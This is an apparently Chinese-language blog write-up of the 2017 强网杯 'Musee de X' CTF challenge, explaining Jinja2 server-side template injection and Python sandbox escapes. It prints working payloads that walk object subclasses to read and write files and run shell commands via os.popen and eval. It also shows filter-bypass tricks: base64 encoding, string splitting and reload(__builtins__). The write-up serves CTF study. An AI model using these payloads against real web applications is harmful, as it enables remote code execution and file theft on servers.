Damn1t
for you I bleed myself dry
FRIENDS
baidu

由Musee de X(强网杯2017)到jinja2模板注入

2018-09-11 CTF

Musee de X(强网杯2017)

学到新姿势

分析

注册admin之后进行登录,然后有一个捐赠页面,,网址随便填,这里有一点要注意,名字必须和登录名一致,否则会弹出:screw you hacker

然后就成功的报错,查看报错信息:
/var/www/html/museum/view.py in makememe中有以下错误:

if "http://" in url:
image = urllib2.urlopen(url)
  else:
    url = "http://"+url
image = urllib2.urlopen(url)
except:
  return HttpResponse("Error: couldn't get to that URL: " + url + BACK)
if int(image.headers["Content-Length"]) > 1024*1024: ...
  return HttpResponse("File too large")
fn = get_next_file(username)
open(fn,"w").write(image.read())
text = jinja2.Template(text).render()
print text
add_text(fn,imghdr.what(fn),text)

可知用用了jinja2模板
而在local varstext行:

text:u’admin’

可以知道将用户名当作文本信息发送,那么这里就存在注入点

关于模板注入

重点要关注的是Template,官方教程给出如下说明:

`{% ... %}` for Statements
`{{ ... }}` for Expressions to print to the template output
`` for Comments not included in the template output
`#  ... ##` for Line Statements

jinja2模板能访问一些python内置变量,如[],{}等,并且能够使用Python变量类型中的一些函数,这里要说明的一点是,如果要在jinja2中执行python代码,则要在模板环境中注册函数才能在模板中进行调用,具体可参考这篇文章:
利用 Python 特性在 Jinja2 模板中执行任意代码

于是给出payload:

abc{{''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['os'].__dict__['popen']('cat flag*').read()}}

要说明的一点是因为网址信息要求是一张图片,所以需要给出图片地址,例:http://pic.58pic.com/58pic/17/28/21/24d58PICqnU_1024.jpg

重点

builtins模块

builtins模块是python中的一个内建模块,如图:

该模块在Python启动后、且没有执行程序员所写的任何代码前,Python会首先加载 该内建函数到内存。另外,该内建模块中的功能可以直接使用,不用在其前添加内建模块前缀。但是,如果想要向内建模块中添加一些功能,以便在任何函数中都能直接使用而不 用再进行import,这时,就要导入内建模块,在内建模块的命名空间(即dict字典属性)中添加该功能。

().class.base.subclasses()


为什么可以访问到所有模块呢?
当我们输入().__class__时,python显示为一个tuple类型,于是继续输入().__class__.__base__,访问类库,python显示为object类型,我们再继续访问,输入().__class__.__base__.__subclasses__()便得到了object的所有子类。于是接下来我们就可以访问对应的子类,由此便可能引发安全问题,例如file可以读取任意文件
除此之外还要提到的是,输入().__class__.__mro__[1].__subclasses__()也可以访问object的所有子类,这里要注意的是mro(Method Resolution Order),关于多继承的问题,不再赘述

示例利用代码:

//读文件
().__class__.__bases__[0].__subclasses__()[40](r'C:\1.php').read() 
//写文件
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123') 
//执行任意命令
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls  /var/www/html").read()' )

制作沙盒环境时,可能往往会删掉一些危险函数

del __builtins__.__dict__['__import__'] # __import__ is the function called by the import statement
del __builtins__.__dict__['eval'] # evaluating code could be dangerous
del __builtins__.__dict__['execfile'] # likewise for executing the contents of a file
del __builtins__.__dict__['input'] # Getting user input and evaluating it might be dangerous

然而我们可以通过reload方法进行重载
reload(__builtins__)

还有一些情况是,程序员会进行一些关键词过滤,于是有几种思路是:

  1. 利用python的base64等模块进行加密操作,然后再代码利用再进行一次解密操作
    >>import base64
    >>base64.b64encode('__import__')
    'X19pbXBvcnRfXw=='
    >>base64.b64encode('os')
    'b3M=' 
    
  2. 拼接字符串:
[x for x in [].class.base.subclasses() if x.name == 'catch_warnings'][0].init.func_globals['linecache'].dict['o'+'s'].dict['sy'+'stem']('echo Hello SandBox')

Author: damn1t

Link: http://microvorld.com/2018/09/11/vulnerable/jinja2/

Copyright: All articles in this blog are licensed under CC BY-NC-SA 3.0 unless stating additionally.

< PreviousPost
Linux常见错误
NextPost >
pwnable.kr(1-2)
CATALOG
  1. 1. Musee de X(强网杯2017)
    1. 1.1. 分析
    2. 1.2. 关于模板注入
    3. 1.3. 重点
      1. 1.3.1. builtins模块
      2. 1.3.2. ().class.base.subclasses()